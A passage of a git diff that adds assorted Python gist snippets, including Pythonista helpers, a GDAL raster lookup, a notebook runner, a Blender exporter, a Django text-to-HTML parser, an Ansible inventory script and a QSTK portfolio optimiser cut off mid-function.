new file mode 100644
index 00000000..4ca94024
--- /dev/null
+++ b/hard-gists/5182379/snippet.py
@@ -0,0 +1,16 @@
+# Posted at http://n8henrie.com/2013/02/quickly-import-pythonista-scripts-via-textexpander-or-bookmarklet
+# Script Name: Import Pythonista Script from Bookmarklet
+
+# I got help from here: http://twolivesleft.com/Codea/Talk/discussion/1652/what-others-do%3A-pythonista/p1
+# I got help from here: http://www.macdrifter.com/2012/09/pythonista-trick-url-to-markdown.html
+# I got help from here: http://www.macstories.net/tutorials/from-instapaper-and-pythonista-to-dropbox-and-evernote-as-pdf/
+
+import sys
+import urllib2
+import editor
+import os
+
+url = sys.argv[1]
+scriptName = os.path.basename(url)
+contents = urllib2.urlopen(url).read()
+editor.make_new_file(scriptName[:-3], contents)
\ No newline at end of file
diff --git a/hard-gists/5189575/._snippet.py b/hard-gists/5189575/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5189575/._snippet.py differ
diff --git a/hard-gists/5189575/snippet.py b/hard-gists/5189575/snippet.py
new file mode 100644
index 00000000..0c0dd117
--- /dev/null
+++ b/hard-gists/5189575/snippet.py
@@ -0,0 +1,37 @@
+#!/usr/bin/env python
+
+# Print out a list of board-id to model mappings from a munkiwebadmin/munkireport
+# database. Requires the machine's board-id to be present at the admin-provided condition
+# called 'machine_board_id'. A custom condition script to populate this can be found at:
+# https://github.com/timsutton/munki-conditions/blob/master/hardware_id
+
+# Hardcoded assumptions:
+# - script is being run from a working directory where 'munkiadmin.db' can be found
+# - if a virtualenv is being used, it is already activated  (ie. 'source /path/to/env/bin/activate')
+
+import sqlite3
+import plistlib
+import sys
+from django.utils.encoding import smart_str
+from pprint import pprint
+
+DB = 'munkiadmin.db'
+conn = sqlite3.connect(DB)
+c = conn.cursor()
+reports = c.execute('''SELECT report from reports_munkireport''')
+boards_populated = 0
+boards = {}
+for r in reports.fetchall():
+    smrt = smart_str(r[0])
+    p = plistlib.readPlistFromString(smrt)
+
+    if 'Conditions' in p.keys():
+        if 'machine_board_id' in p['Conditions']:
+            if p['Conditions']['machine_board_id'] and p['Conditions']['machine_board_id'] != '440BX':
+                boards_populated += 1
+                boards[p['Conditions']['machine_board_id']] = p['Conditions']['machine_model']
+
+conn.close()
+print "%s clients with board-id configs." % str(boards_populated)
+print "%s board-id values populated." % len(boards.keys())
+pprint(boards)
\ No newline at end of file
diff --git a/hard-gists/518b0c9564e500b4b50f/._snippet.py b/hard-gists/518b0c9564e500b4b50f/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/518b0c9564e500b4b50f/._snippet.py differ
diff --git a/hard-gists/518b0c9564e500b4b50f/snippet.py b/hard-gists/518b0c9564e500b4b50f/snippet.py
new file mode 100644
index 00000000..b10a5362
--- /dev/null
+++ b/hard-gists/518b0c9564e500b4b50f/snippet.py
@@ -0,0 +1,37 @@
+# Typical setup to include TensorFlow.
+import tensorflow as tf
+
+# Make a queue of file names including all the JPEG images files in the relative
+# image directory.
+filename_queue = tf.train.string_input_producer(
+    tf.train.match_filenames_once("./images/*.jpg"))
+
+# Read an entire image file which is required since they're JPEGs, if the images
+# are too large they could be split in advance to smaller files or use the Fixed
+# reader to split up the file.
+image_reader = tf.WholeFileReader()
+
+# Read a whole file from the queue, the first returned value in the tuple is the
+# filename which we are ignoring.
+_, image_file = image_reader.read(filename_queue)
+
+# Decode the image as a JPEG file, this will turn it into a Tensor which we can
+# then use in training.
+image = tf.image.decode_jpeg(image_file)
+
+# Start a new session to show example output.
+with tf.Session() as sess:
+    # Required to get the filename matching to run.
+    tf.initialize_all_variables().run()
+
+    # Coordinate the loading of image files.
+    coord = tf.train.Coordinator()
+    threads = tf.train.start_queue_runners(coord=coord)
+
+    # Get an image tensor and print its value.
+    image_tensor = sess.run([image])
+    print(image_tensor)
+
+    # Finish off the filename queue coordinator.
+    coord.request_stop()
+    coord.join(threads)
diff --git a/hard-gists/51934724e0896184a2340217b383af73/._snippet.py b/hard-gists/51934724e0896184a2340217b383af73/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/51934724e0896184a2340217b383af73/._snippet.py differ
diff --git a/hard-gists/51934724e0896184a2340217b383af73/snippet.py b/hard-gists/51934724e0896184a2340217b383af73/snippet.py
new file mode 100644
index 00000000..79da50d1
--- /dev/null
+++ b/hard-gists/51934724e0896184a2340217b383af73/snippet.py
@@ -0,0 +1,8 @@
+# convert yaml to json
+# pip3 install pyyaml
+# http://pyyaml.org/wiki/PyYAMLDocumentation
+# py3 yaml2json.py < ~/code/manpow/homeland/heartland/puphpet/config.yaml
+# gist https://gist.github.com/noahcoad/51934724e0896184a2340217b383af73
+
+import yaml, json, sys
+sys.stdout.write(json.dumps(yaml.load(sys.stdin), sort_keys=True, indent=2))
\ No newline at end of file
diff --git a/hard-gists/51edd66425998e5fca37/._snippet.py b/hard-gists/51edd66425998e5fca37/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/51edd66425998e5fca37/._snippet.py differ
diff --git a/hard-gists/51edd66425998e5fca37/snippet.py b/hard-gists/51edd66425998e5fca37/snippet.py
new file mode 100644
index 00000000..80fd1e3e
--- /dev/null
+++ b/hard-gists/51edd66425998e5fca37/snippet.py
@@ -0,0 +1,44 @@
+# coding: utf-8
+from Foundation import *
+from QuartzCore import *
+from UIKit import *
+
+import console
+
+WKWebView = ObjCClass('WKWebView')
+	
+@on_main_thread
+def main():
+	rootVC = UIApplication.sharedApplication().windows()[0].rootViewController()
+	tabVC = rootVC.detailViewController()
+
+	methods = [openURL, search]
+	protocols = ['OMTabContent']
+	CustomViewController = create_objc_class('CustomViewController', UIViewController, methods=methods, protocols=protocols)
+	
+	vc = CustomViewController.new()
+	vc.title = 'Web'
+	
+	urlBarItem = UIBarButtonItem.alloc().initWithImage_style_target_action_(UIImage.imageNamed_('Textures/ionicons-link-24'),0,vc,sel('openURL'))
+	searchBarItem = UIBarButtonItem.alloc().initWithImage_style_target_action_(UIImage.imageNamed_('Textures/ionicons-search-24'),0,vc,sel('search'))
+
+	vc.navigationItem().rightBarButtonItems = [urlBarItem, searchBarItem]
+	
+	webView = WKWebView.new()
+	webView.loadRequest_(NSURLRequest.requestWithURL_(NSURL.URLWithString_('http://www.google.com')))
+	vc.view = webView
+
+	tabVC.addTabWithViewController_(vc)
+	
+def openURL(_self, _cmd):
+	address = console.input_alert('Open URL')
+	if len(address) > 0:
+		ObjCInstance(_self).view().loadRequest_(NSURLRequest.requestWithURL_(NSURL.URLWithString_(address)))
+	
+def search(_self, _cmd):
+	term = console.input_alert('Search')
+	if len(term) > 0:
+		ObjCInstance(_self).view().loadRequest_(NSURLRequest.requestWithURL_(NSURL.URLWithString_('http://google.com/search?q='+term)))
+	
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/hard-gists/5201689/._snippet.py b/hard-gists/5201689/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5201689/._snippet.py differ
diff --git a/hard-gists/5201689/snippet.py b/hard-gists/5201689/snippet.py
new file mode 100644
index 00000000..b6c4f5d9
--- /dev/null
+++ b/hard-gists/5201689/snippet.py
@@ -0,0 +1,56 @@
+#!/usr/bin/env python
+
+#http://geoinformaticstutorial.blogspot.it/2012/09/reading-raster-data-with-python-and-gdal.html
+#http://www.gis.usu.edu/~chrisg/python/2009/lectures/ospy_slides4.pdf
+
+from osgeo import gdal,ogr
+from osgeo.gdalconst import *
+import struct
+import sys
+
+lon = 12.502742
+lat = 42.243713
+
+lat = float(sys.argv[2])
+lon = float(sys.argv[3])
+
+def pt2fmt(pt):
+	fmttypes = {
+		GDT_Byte: 'B',
+		GDT_Int16: 'h',
+		GDT_UInt16: 'H',
+		GDT_Int32: 'i',
+		GDT_UInt32: 'I',
+		GDT_Float32: 'f',
+		GDT_Float64: 'f'
+		}
+	return fmttypes.get(pt, 'x')
+
+ds = gdal.Open(sys.argv[1], GA_ReadOnly)
+if ds is None:
+	print 'Failed open file'
+	sys.exit(1)
+
+transf = ds.GetGeoTransform()
+cols = ds.RasterXSize
+rows = ds.RasterYSize
+bands = ds.RasterCount #1
+band = ds.GetRasterBand(1)
+bandtype = gdal.GetDataTypeName(band.DataType) #Int16
+driver = ds.GetDriver().LongName #'GeoTIFF'
+
+success, transfInv = gdal.InvGeoTransform(transf)
+if not success:
+	print "Failed InvGeoTransform()"
+	sys.exit(1)
+
+px, py = gdal.ApplyGeoTransform(transfInv, lon, lat)
+
+structval = band.ReadRaster(int(px), int(py), 1,1, buf_type = band.DataType )
+
+fmt = pt2fmt(band.DataType)
+
+intval = struct.unpack(fmt , structval)
+
+print round(intval[0],2) #intval is a tuple, length=1 as we only asked for 1 pixel value
+
diff --git a/hard-gists/5208296/._snippet.py b/hard-gists/5208296/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5208296/._snippet.py differ
diff --git a/hard-gists/5208296/snippet.py b/hard-gists/5208296/snippet.py
new file mode 100644
index 00000000..70cc7dd8
--- /dev/null
+++ b/hard-gists/5208296/snippet.py
@@ -0,0 +1,117 @@
+#!/usr/bin/env python
+"""
+Script for running and save notebooks from command line.
+
+How to use: `ipynb_run_save.py foo.ipynb
+
+Some tweaks over ipydoctest.py from minrk
+
+by @damianavila
+"""
+
+import io
+import os
+import sys
+
+from Queue import Empty
+
+from IPython.kernel.blockingkernelmanager import BlockingKernelManager
+from IPython.nbformat.current import read, write, NotebookNode
+
+
+def run_cell(km, cell):
+    shell = km.shell_channel
+    iopub = km.iopub_channel
+    # print "\n\ntesting:"
+    # print cell.input
+    shell.execute(cell.input)
+    # wait for finish, maximum 20s
+    shell.get_msg(timeout=20)
+    outs = []
+
+    while True:
+        try:
+            msg = iopub.get_msg(timeout=0.2)
+        except Empty:
+            break
+        msg_type = msg['msg_type']
+        if msg_type in ('status', 'pyin'):
+            continue
+        elif msg_type == 'clear_output':
+            outs = []
+            continue
+
+        content = msg['content']
+        # print msg_type, content
+        out = NotebookNode(output_type=msg_type)
+
+        if msg_type == 'stream':
+            out.stream = content['name']
+            out.text = content['data']
+        elif msg_type in ('display_data', 'pyout'):
+            for mime, data in content['data'].iteritems():
+                attr = mime.split('/')[-1].lower()
+                # this gets most right, but fix svg+html, plain
+                attr = attr.replace('+xml', '').replace('plain', 'text')
+                setattr(out, attr, data)
+            if msg_type == 'pyout':
+                out.prompt_number = content['execution_count']
+        elif msg_type == 'pyerr':
+            out.ename = content['ename']
+            out.evalue = content['evalue']
+            out.traceback = content['traceback']
+        else:
+            print "unhandled iopub msg:", msg_type
+
+        outs.append(out)
+    return outs
+
+
+def test_notebook(nb):
+    km = BlockingKernelManager()
+    km.start_kernel(extra_arguments=['--pylab=inline'], stderr=open(os.devnull, 'w'))
+    km.start_channels()
+    # run %pylab inline, because some notebooks assume this
+    # even though they shouldn't
+    km.shell_channel.execute("pass")
+    km.shell_channel.get_msg()
+    while True:
+        try:
+            km.iopub_channel.get_msg(timeout=1)
+        except Empty:
+            break
+
+    errors = 0
+    cells = 0
+    for ws in nb.worksheets:
+        for cell in ws.cells:
+            if cell.cell_type != 'code':
+                continue
+            cells += 1
+            try:
+                outs = run_cell(km, cell)
+            except Exception as e:
+                print "failed to run cell:", repr(e)
+                print cell.input
+                errors += 1
+                continue
+            cell.outputs = outs
+
+    if errors:
+        print "    %3i cells failed to complete" % errors
+    if cells:
+        print "%i code cells from notebook %s" % (cells, nb.metadata.name)
+    km.shutdown_kernel()
+    del km
+
+if __name__ == '__main__':
+    for ipynb in sys.argv[1:]:
+        print "running %s" % ipynb
+        with io.open(ipynb, encoding='utf8') as f:
+            nb = read(f, 'json')
+        test_notebook(nb)
+        base, ext = os.path.splitext(ipynb)
+        new_ipynb = "%s_run_saved%s" % (base, ext)
+        with io.open(new_ipynb, 'w', encoding='utf8') as f:
+            write(nb, f, 'json')
+        print "wrote %s" % new_ipynb
\ No newline at end of file
diff --git a/hard-gists/5209228/._snippet.py b/hard-gists/5209228/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5209228/._snippet.py differ
diff --git a/hard-gists/5209228/snippet.py b/hard-gists/5209228/snippet.py
new file mode 100644
index 00000000..3112a96e
--- /dev/null
+++ b/hard-gists/5209228/snippet.py
@@ -0,0 +1,143 @@
+#http://stackoverflow.com/questions/7553726/blender-how-to-export-shape-keys-using-python
+#and three js blender exporter
+import bpy
+import json
+
+# monkeypatch the json encoder to truncate floats
+# http://stackoverflow.com/questions/1447287/format-floats-with-standard-json-module
+from json import encoder
+encoder.FLOAT_REPR = lambda o: format(o, '.15g')
+
+path = "/Users/plkap74/Documents/robots.json"
+
+#templates
+
+TEMPLATE_VEC4 = '[ %g, %g, %g, %g ]'
+TEMPLATE_VEC3 = '[ %g, %g, %g ]'
+TEMPLATE_VEC2 = '[ %g, %g ]'
+TEMPLATE_VERTEX = "%g,%g,%g"
+
+TEMPLATE_MORPH_TARGET = """{"name" : "%s", "vertices" : %s}"""
+
+TEMPLATE_SECTION = """
+"%s" : %s\n\n
+"""
+
+TEMPLATE_MODEL_ASCII = """\
+{
+   
+    "name"  : "%(name)s", 
+    
+	"vertices" : %(vertices)s,
+
+	"morphTargets" : %(morphTargets)s,
+    
+    "faces" : %(faces)s,
+    
+    "normals" : [],
+
+	"colors" : [],
+
+	"uvs" : [],
+
+	"bones" : [],
+
+	"skinIndices" : [],
+
+	"skinWeights" : [],
+
+	"animation" : "",
+
+}
+"""
+
+chunks = []
+def veckey3(x,y,z):
+    return round(x, 6), round(y, 6), round(z, 6)
+
+def veckey3d(v):
+    return veckey3(v.x, v.y, v.z)
+
+def generate_vec3(vec):
+    return TEMPLATE_VERTEX % (vec[0], vec[1], vec[2])
+
+def generate_vertex(v):
+    return generate_vec3( veckey3d(v) )
+    
+def verticesToString(verts):
+    
+    vs = []
+    for i, v in verts :
+        vs.append( v.co.x ) 
+        vs.append( v.co.y )
+        vs.append( v.co.z )
+       
+    return json.dumps(vs)
+
+def facesToString(faces):
+    faces_s ="["
+    faces_a = []
+    for f in faces :
+        #faces_s += faceToString( f )
+        faces_a.append( faceToString( f) )
+    faces_s+="]"
+    return json.dumps( faces_a )
+
+def faceToString(f):
+    verts = []
+    # not sure why I can't just json serialize this
+    for v in f.vertices:
+        verts.append(v)
+    return verts
+for object in bpy.data.objects:
+    if object.type == 'MESH' and object.data.shape_keys:
+        
+        object.data.update( calc_tessface=True )
+        
+        faces = facesToString( object.data.tessfaces )
+        
+        morphTargets = "[\n  "
+        
+        keyBlocks = object.data.shape_keys.key_blocks
+        cKey = 0
+        
+        for block in keyBlocks:
+            
+            name = block.name
+            vertices = "["
+            cVert = 0
+            for data in block.data:
+                vertex = data.co
+                
+                if not cVert == 0:
+                    vertices += ", "
+                    
+                vertices += generate_vertex(vertex) 
+                
+                cVert += 1
+
+            vertices += "]"
+            
+            morphTarget = TEMPLATE_MORPH_TARGET % (name, vertices)
+            
+            if not cKey == 0 :
+                morphTargets += ",\n"
+                
+            morphTargets += morphTarget
+            
+            cKey += 1
+            
+        morphTargets += "\n]"
+        
+        model_s = TEMPLATE_MODEL_ASCII % {
+            "name" : object.name,
+            "vertices" : verticesToString( object.data.vertices.items() ),
+            "morphTargets" : morphTargets, 
+            "faces" : faces
+            }
+        chunks.append( model_s )
+            
+         
+file = open(path, "w", encoding="utf8")
+file.write( chunks[0] )
+file.close()
\ No newline at end of file
diff --git a/hard-gists/520a2c13f358b3689d00a3c88b34e0c6/._snippet.py b/hard-gists/520a2c13f358b3689d00a3c88b34e0c6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/520a2c13f358b3689d00a3c88b34e0c6/._snippet.py differ
diff --git a/hard-gists/520a2c13f358b3689d00a3c88b34e0c6/snippet.py b/hard-gists/520a2c13f358b3689d00a3c88b34e0c6/snippet.py
new file mode 100644
index 00000000..c1d2877f
--- /dev/null
+++ b/hard-gists/520a2c13f358b3689d00a3c88b34e0c6/snippet.py
@@ -0,0 +1,53 @@
+from django.utils.safestring import mark_safe
+
+def parser(text):
+    ''' Convert plain text to HTML '''
+    limits = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
+    digits = '0123456789'
+    # unicode xml safe
+    text = text.replace('&', '&amp;').replace('<', '&lt;').replace('>', '&gt;')
+    # replace &nbsp; (160) with space (32)
+    text = text.replace(chr(160), chr(32))
+    # convert linebreaks
+    text = ''.join(['<p> %s </p>' % l for l in text.splitlines() if l.strip()])
+    # split text in words and parse each
+    words = text.split()
+    for index in range(len(words)):
+        word = words[index]
+        # unwrap word
+        endswith = ''
+        startswith = ''
+        if word.endswith(('.', ',', '!', '?', ':', ';')):
+            endswith = word[-1:]
+            word = word[:-1]
+        if word.endswith(')'):
+            endswith = ')' + endswith
+            word = word[:-1]
+        if word.startswith('('):
+            startswith = '('
+            word = word[1:]
+        # replace word
+        if word.startswith(('http://', 'https://')):
+            protocol, separator, address = word.partition('://')
+            if address.startswith('www.'):
+                address = address[4:]
+            if address.endswith('/'):
+                address = address[:-1]
+            if len(address) > 24:
+                address = address[:21] + '...'
+            if address:
+                word = '<a href="{0}" rel="external">{1}</a>'.format(word, address)
+        elif word.startswith('@'):
+            handle = word[1:]
+            if handle and all(c in limits for c in handle):
+                word = '<a href="/{0}/" rel="author">@{0}</a>'.format(handle)
+        elif word.startswith('#'):
+            handle = word[1:]
+            if handle and all(c in digits for c in handle):
+                word = '<a href="/re/{0}/" rel="alternate">#{0}</a>'.format(handle)
+            elif handle and all(c in limits for c in handle):
+                word = '<a href="/search/&#63;q=%23{0}" rel="tag">#{0}</a>'.format(handle)
+        # wrap word
+        words[index] = startswith + word + endswith
+    text = ' '.join(words)
+    return mark_safe(text)
diff --git a/hard-gists/5213fabf2bcb943efc82f00959b91163/._snippet.py b/hard-gists/5213fabf2bcb943efc82f00959b91163/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5213fabf2bcb943efc82f00959b91163/._snippet.py differ
diff --git a/hard-gists/5213fabf2bcb943efc82f00959b91163/snippet.py b/hard-gists/5213fabf2bcb943efc82f00959b91163/snippet.py
new file mode 100644
index 00000000..9287f2cc
--- /dev/null
+++ b/hard-gists/5213fabf2bcb943efc82f00959b91163/snippet.py
@@ -0,0 +1,157 @@
+#!/usr/bin/python2
+
+#####
+#
+# Description
+# -----------
+#
+# This is an Ansible dynamic inventory script that reads any Ansible hosts file
+# and transforms it into the JSON data structure.
+#
+# Author
+# ------
+#
+# Jiri Tyr <jiri.tyr@gmail.com>
+#
+#####
+
+from ansible.utils.shlex import shlex_split
+from ansible.inventory.ini import InventoryParser
+
+import argparse
+import json
+import os
+import sys
+
+
+class MyInventoryParser(InventoryParser):
+    def __init__(self):
+        pass
+
+
+def msg(_type, text, exit=0):
+    sys.stderr.write("%s: %s\n" % (_type, text))
+    sys.exit(exit)
+
+
+def main():
+    # Read command line options
+    parser = argparse.ArgumentParser(
+        description=(
+            'Dynamic inventory script that reads inventory file in the INI '
+            'format.'))
+    parser.add_argument(
+        '--filename',
+        metavar='filename',
+        required=True,
+        help='Path to the inventory file')
+    parser.add_argument(
+        '--list',
+        action='store_true',
+        help='List all groups and hosts')
+    args = parser.parse_args()
+
+    # Get the filename from the command line arguments
+    filename = args.filename
+
+    try:
+        f = open(filename)
+    except Exception as e:
+        msg('E', 'Cannot open inventory file %s. %s' % (filename, str(e)))
+
+    # Some default values
+    data = {}
+    group = None
+    state = None
+    mip = MyInventoryParser()
+
+    # Walk through the file and build the data structure
+    for line in f:
+        line = line.strip()
+
+        # Skip comments and empty lines
+        if line.startswith('#') or line.startswith(';') or len(line) == 0:
+            continue
+
+        if line.startswith('['):
+            # Parse group
+            section = line[1:-1]
+
+            if ':' in line:
+                group, state = line[1:-1].split(':')
+            else:
+                group = section
+                state = 'hosts'
+
+            if group not in data:
+                data[group] = {}
+
+            if state not in data[group]:
+                if state == 'vars':
+                    data[group][state] = {}
+                else:
+                    data[group][state] = []
+        else:
+            # Parse hosts or group members/vars
+            try:
+                tokens = shlex_split(line, comments=True)
+            except ValueError as e:
+                msg('E', "Error parsing host definition '%s': %s" % (line, e))
+
+            (hostnames, port) = mip._expand_hostpattern(tokens[0])
+
+            # Create 'all' group if no group was defined yet
+            if group is None:
+                group = 'all'
+                state = 'hosts'
+                data['all'] = {
+                    'hosts': []
+                }
+
+            tok = []
+
+            if state == 'hosts':
+                tok = tokens[1:]
+            elif state == 'vars':
+                tok = tokens
+
+            variables = {}
+
+            for t in tok:
+                if '=' not in t:
+                    msg(
+                        'E',
+                        "Expected key=value host variable assignment, "
+                        "got: %s" % (t))
+
+                (k, v) = t.split('=', 1)
+                variables[k] = mip._parse_value(v)
+
+            if state == 'vars':
+                for key, val in variables.iteritems():
+                    data[group][state][key] = val
+            else:
+                for host in hostnames:
+                    data[group][state].append(host)
+
+                    if state == 'hosts' and len(variables):
+                        if '_meta' not in data:
+                            data['_meta'] = {
+                                'hostvars': {}
+                            }
+
+                        data['_meta']['hostvars'][host] = {}
+
+                        for key, val in variables.iteritems():
+                            data['_meta']['hostvars'][host][key] = val
+
+    print(json.dumps(data, sort_keys=True, indent=2))
+
+    try:
+        f.close()
+    except IOError as e:
+        msg('E', 'Cannot close inventory file %s. %s' % (filename, str(e)))
+
+
+if __name__ == '__main__':
+    main()
diff --git a/hard-gists/5215968/._snippet.py b/hard-gists/5215968/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/5215968/._snippet.py differ
diff --git a/hard-gists/5215968/snippet.py b/hard-gists/5215968/snippet.py
new file mode 100644
index 00000000..087fa318
--- /dev/null
+++ b/hard-gists/5215968/snippet.py
@@ -0,0 +1,261 @@
+#imports
+# QSTK Imports
+import QSTK.qstkutil.qsdateutil as du
+import QSTK.qstkutil.tsutil as tsu
+import QSTK.qstkutil.DataAccess as da
+
+# Third Party Imports
+import datetime as dt
+import matplotlib.pyplot as plt
+import pandas as pd
+import numpy as np
+import time
+from scipy.optimize import minimize
+
+'''
+' Reads data from Yahoo Finance
+' @param li_startDate:  start date in list structure: [year,month,day] e.g. [2012,1,28]
+' @param li_endDate:  end date in list structure: [year,month,day] e.g. [2012,12,31]
+' @param ls_symbols:	list of symbols: e.g. ['GOOG','AAPL','GLD','XOM']
+' @returns d_data:      dictionary structure of data mapped to keys e.g. 'open', 'close'
+'''
+def readData(li_startDate, li_endDate, ls_symbols):
+    #Create datetime objects for Start and End dates (STL)
+    dt_start = dt.datetime(li_startDate[0], li_startDate[1], li_startDate[2]);
+    dt_end = dt.datetime(li_endDate[0], li_endDate[1], li_endDate[2]);
+
+    #Initialize daily timestamp: closing prices, so timestamp should be hours=16 (STL)
+    dt_timeofday = dt.timedelta(hours=16);
+
+    #Get a list of trading days between the start and end dates (QSTK)
+    ldt_timestamps = du.getNYSEdays(dt_start, dt_end, dt_timeofday);
+
+    #Create an object of the QSTK-dataaccess class with Yahoo as the source (QSTK)
+    c_dataobj = da.DataAccess('Yahoo', cachestalltime=0);
+
+    #Keys to be read from the data
+    ls_keys = ['open', 'high', 'low', 'close', 'volume', 'actual_close'];
+
+    #Read the data and map it to ls_keys via dict() (i.e. Hash Table structure)
+    ldf_data = c_dataobj.get_data(ldt_timestamps, ls_symbols, ls_keys);
+    d_data = dict(zip(ls_keys, ldf_data));
+
+    return [d_data, dt_start, dt_end, dt_timeofday, ldt_timestamps];
+
+'''
+' Calculate Portfolio Statistics 
+' @param na_normalized_price: NumPy Array for normalized prices (starts at 1)
+' @param lf_allocations: allocation list
+' @return list of statistics:
+' (Volatility, Average Return, Sharpe, Cumulative Return)
+'''
+def calcStats(na_normalized_price, lf_allocations):
+    #Calculate cumulative daily portfolio value
+    #row-wise multiplication by weights
+    na_weighted_price = na_normalized_price * lf_allocations;
+    #row-wise sum
+    na_portf_value = na_weighted_price.copy().sum(axis=1);
+
+    #Calculate daily returns on portfolio
+    na_portf_rets = na_portf_value.copy()
+    tsu.returnize0(na_portf_rets);
+
+    #Calculate volatility (stdev) of daily returns of portfolio
+    f_portf_volatility = np.std(na_portf_rets); 
+
+    #Calculate average daily returns of portfolio
+    f_portf_avgret = np.mean(na_portf_rets);
+
+    #Calculate portfolio sharpe ratio (avg portfolio return / portfolio stdev) * sqrt(252)
+    f_portf_sharpe = (f_portf_avgret / f_portf_volatility) * np.sqrt(250);
+
+    #Calculate cumulative daily return
+    #...using recursive function
+    def cumret(t, lf_returns):
+        #base-case
+        if t==0:
+            return (1 + lf_returns[0]);
+        #continuation
+        return (cumret(t-1, lf_returns) * (1 + lf_returns[t]));
+    f_portf_cumrets = cumret(na_portf_rets.size - 1, na_portf_rets);
+
+    return [f_portf_volatility, f_portf_avgret, f_portf_sharpe, f_portf_cumrets, na_portf_value];
+
+'''
+' Simulate and assess performance of multi-stock portfolio
+' @param li_startDate:	start date in list structure: [year,month,day] e.g. [2012,1,28]
+' @param li_endDate:	end date in list structure: [year,month,day] e.g. [2012,12,31]
+' @param ls_symbols:	list of symbols: e.g. ['GOOG','AAPL','GLD','XOM']
+' @param lf_allocations:	list of allocations: e.g. [0.2,0.3,0.4,0.1]
+' @param b_print:       print results (True/False)
+'''
+def simulate(li_startDate, li_endDate, ls_symbols, lf_allocations, b_print):
+
+    start = time.time();
+    
+    #Check if ls_symbols and lf_allocations have same length
+    if len(ls_symbols) != len(lf_allocations):
+        print "ERROR: Make sure symbol and allocation lists have same number of elements.";
+        return;
+    #Check if lf_allocations adds up to 1
+    sumAllocations = 0;
+    for x in lf_allocations:
+        sumAllocations += x;
+    if sumAllocations != 1:
+        print "ERROR: Make sure allocations add up to 1.";
+        return;
+
+    #Prepare data for statistics
+    d_data = readData(li_startDate, li_endDate, ls_symbols)[0];
+
+    #Get numpy ndarray of close prices (numPy)
+    na_price = d_data['close'].values;
+
+    #Normalize prices to start at 1 (if we do not do this, then portfolio value
+    #must be calculated by weight*Budget/startPriceOfStock)
+    na_normalized_price = na_price / na_price[0,:];
+
+    lf_Stats = calcStats(na_normalized_price, lf_allocations);
+
+    #Print results
+    if b_print:
+        print "Start Date: ", li_startDate;
+        print "End Date: ", li_endDate;
+        print "Symbols: ", ls_symbols;
+        print "Volatility (stdev daily returns): " , lf_Stats[0];
+        print "Average daily returns: " , lf_Stats[1];
+        print "Sharpe ratio: " , lf_Stats[2];
+        print "Cumulative daily return: " , lf_Stats[3];
+
+        print "Run in: " , (time.time() - start) , " seconds.";
+
+    #Return list: [Volatility, Average Returns, Sharpe Ratio, Cumulative Return]
+    return lf_Stats[0:3]; 
+
+'''
+' Optimize portfolio allocations  to maximise Sharpe ratio
+' @param li_startDate:	start date in list structure: [year,month,day] e.g. [2012,1,28]
+' @param li_endDate:	end date in list structure: [year,month,day] e.g. [2012,12,31]
+' @param ls_symbols:	list of symbols: e.g. ['GOOG','AAPL','GLD','XOM']
+' @param s_precision:   true - precise optimization; false - 10% increments & positive weights
+'''
+def optimize(li_startDate, li_endDate, ls_symbols, b_precision):
+
+    start = time.time();
+
+    #Prepare data for statistics
+    ld_alldata = readData(li_startDate, li_endDate, ls_symbols);
+    d_data = ld_alldata[0];
+
+    #Get numpy ndarray of close prices (numPy)
+    na_price = d_data['close'].values;
+
+    #Normalize prices to start at 1 (if we do not do this, then portfolio value
+    #must be calculated by weight*Budget/startPriceOfStock)
+    na_normalized_price = na_price / na_price[0,:];
+    
+    
+    if b_precision:
+        #Precise optimization:
+        
+        #Define objective function (sharpe ratio)
+        def objective_sharpe(x):
+            return simulate(li_startDate, li_endDate, ls_symbols, x)[2];
+
+        #Work on this later...
+        
+    else:
+        
+        #Imprecise optimization (required in Homework 1)
+
+        #Using backtracking and permutation
+        #Permutation function
+        def all_perms(elements):
+            if len(elements) <=1:
+                yield elements;
+            else:
+                for perm in all_perms(elements[1:]):
+                    for i in range(len(elements)):
+                        #nb elements[0:1] works in both string and list contexts
+                        yield perm[:i] + elements[0:1] + perm[i:];
+
+        #Backtracking function results in list of integers that sum to 10
+        global li_sol, li_valid, i_sum, i_numEls;
+        TARGET = 10;
+        li_sol = [0] * len(ls_symbols);
+        #li_sol = [0] * TARGET;
+        li_valid = [];
+        i_sum = 0;
+        i_numEls = 0;
+        def back(lastEl):
+            global li_sol, li_valid, i_sum, i_numEls;
+            #base-case
+            if i_numEls >= len(ls_symbols):
+                if i_sum == TARGET:
+                    li_valid.extend(list(all_perms(li_sol)));
+                return;
+            #continuation
+            for i in range(lastEl, TARGET + 1 - i_sum):
+                i_sum += i;
+                li_sol[i_numEls] = i;
+                i_numEls += 1;
+                back(i);
+                #undo
+                i_sum -= i;
+                i_numEls -= 1;
+            return;
+                
+        back(0);
+        #Convert to float array that sum to 1
+        global lf_valid;
+        lf_valid = [];
+        for i in li_valid:
+            lf_valid.append([j/10.0 for j in i]);
+
+        #Calculate Sharpe ratio for each valid allocation
+        f_CurrMaxSharpe = 0.0;
+        for allocation in lf_valid:
+            t_Stats = calcStats(na_normalized_price, allocation);
+            if t_Stats[2] > f_CurrMaxSharpe:
+                lf_CurrStats = t_Stats
+                f_CurrMaxSharpe = t_Stats[2];
+                lf_CurrEffAllocation = allocation;
+
+        #Plot portfolio daily values over time period
+        #Obtain benchmark $SPX data
+        d_spx = readData(li_startDate, li_endDate, ["$SPX"])[0];
+        na_spxprice = d_spx['close'].values;
+        na_spxnormalized_price = na_spxprice / na_spxprice[0,:];
+        lf_spxStats = calcStats(na_spxnormalized_price, [1]);
+        #Plot
+        plt.clf();
+        plt.plot(ld_alldata[4], lf_spxStats[4]);    #SPX
